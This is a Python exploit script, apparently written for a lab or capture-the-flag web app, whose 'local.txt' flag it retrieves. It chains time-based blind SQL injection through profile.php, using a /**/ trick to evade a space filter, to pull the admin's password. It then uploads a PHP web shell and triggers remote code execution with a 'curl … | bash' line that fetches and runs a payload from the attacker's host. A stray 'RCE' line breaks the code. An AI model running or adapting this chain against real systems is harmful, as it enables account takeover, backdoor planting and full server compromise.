def _signup(self):
data = {
"username":"chev",
"first_name":"chev",
"last_name":"chev",
"email":"[email protected]",
"password":"test123",
"confirm_password":"test123"
}
r = requests.post(f'http://{self.rhost}:{self.rport}/pages/sign-up.php', data=data, allow_redirects=False)
self.log(f"Signup status code: {r.status_code}")
def _login(self, user, password):
data = {
"username":user,
"password":password,
"sign_in": ""
}
r = requests.post(f'http://{self.rhost}:{self.rport}/pages/sign-in.php', data=data, allow_redirects=False)
self.log(f"Signup status code: {r.status_code}")
return r.cookies.get('PHPSESSID')
def _sql_find_char(self, session_token):
result = ''
# first get the length
length = 0
for l in range(1, 100):
payload = f"IF ((SELECT LENGTH(backup_password) FROM users where username='admin')={l}, sleep(0.8),0)"
if self._check_true(session_token, payload):
length = l
break
self.log(f"Found length for backup_password: {length}")
# extract char by char using binary search
for i in range(1, length + 1):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
payload = f"IF(ASCII(SUBSTRING((SELECT backup_password FROM users where username='admin'),{i},1))>{mid}, SLEEP(0.8), 0)"
if self._check_true(session_token, payload):
lo = mid + 1
else:
hi = mid
result += chr(lo)
print(f'\\r[+] password: {result}', end='', flush=True)
print()
return result
def _check_true(self, session_token, payload):
cookies = {
"PHPSESSID": session_token
}
start = time.time()
# there is a filter that this cannot contain spaces
payload = payload.replace(' ', '/**/')
r = requests.get(f"http://{self.rhost}:{self.rport}/pages/profile.php?user_id=14&receiver_id={payload}", cookies=cookies)
end = time.time()
return end-start > 1
def _upload_backdoor(self, session_token):
cookies = {
"PHPSESSID": session_token
}
blu3 = b"""<?php if(isset($_REQUEST['c'])){ echo "<pre>"; system($_REQUEST['c']); die; } ?>"""
files = {
'file': ('blu3.php', blu3, 'application/x-php'),
'upload': (None, "Upload File")
}
r = requests.post(url=f'http://{self.rhost}:{self.rport}/components/admin/file_storage.php', verify=False, files=files, cookies=cookies)
self.log(f"Upload backdoor: {r.status_code}")
def _guess_file(self, user_id):
margin_seconds = 2
upload_time = datetime.now(ZoneInfo("America/Toronto"))
wordlist = []
for offset in range(-margin_seconds, margin_seconds + 1):
t = upload_time + timedelta(seconds=offset)
date_str = t.strftime("%Y-%m-%d_%H-%M-%S")
for rand in range(1, 51):
filename = f"{user_id}_{date_str}_{rand}.php"
wordlist.append(filename)
return wordlist
def _check_file(self, filename):
url = f"http://{self.rhost}:{self.rport}/uploads/{filename}"
r = requests.get(url, timeout=5)
if r.status_code == 200:
return url
return None
def _find_uploaded_file(self, user_id):
wordlist = self._guess_file(user_id)
self.log(f"Checking {len(wordlist)} candidates with 10 threads...")
found = None
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(self._check_file, f): f for f in wordlist}
for future in as_completed(futures):
result = future.result()
if result:
found = result
executor.shutdown(wait=False, cancel_futures=True)
break
return found
def _get_local_flag(self, admin_pwd):
session_token = self._login('admin', admin_pwd)
cookies = {
"PHPSESSID": session_token
}
r = requests.get(f"http://{self.rhost}:{self.rport}/pages/index.php",cookies=cookies)
if 'Flag' in r.text:
flag_match = re.search(r'Flag:\\s+(.*)', r.text)
if flag_match:
return flag_match.group(1)
return None
def _follow(self, session_token):
cookies = {
"PHPSESSID": session_token
}
for i in range(1,10):
data = {
'receiver_id': i,
'follow_recomended_user': ''
}
r = requests.post(f"http://{self.rhost}:{self.rport}/pages/index.php?category_id=0",cookies=cookies, data=data, proxies=self.proxies)
RCE
def exploit(self):
self._signup()
session_token = self._login('chev', 'test123')
self._follow(session_token)
admin_pwd = self._sql_find_char(session_token)
self.log(f"Admin password: {admin_pwd}")
session_token = self._login('admin', admin_pwd)
local_txt = self._get_local_flag(admin_pwd)
self.log(f"local.txt via web login: {local_txt}")
self._upload_backdoor(session_token)
user_id = 1
rce = self._find_uploaded_file(user_id)
if not rce:
self.log("File not found, increase margin or check user_id")
self.log("Triggering RCE")
requests.get(f'{rce}?c=curl {self.lhost}:{self.http_port}/shellme | bash')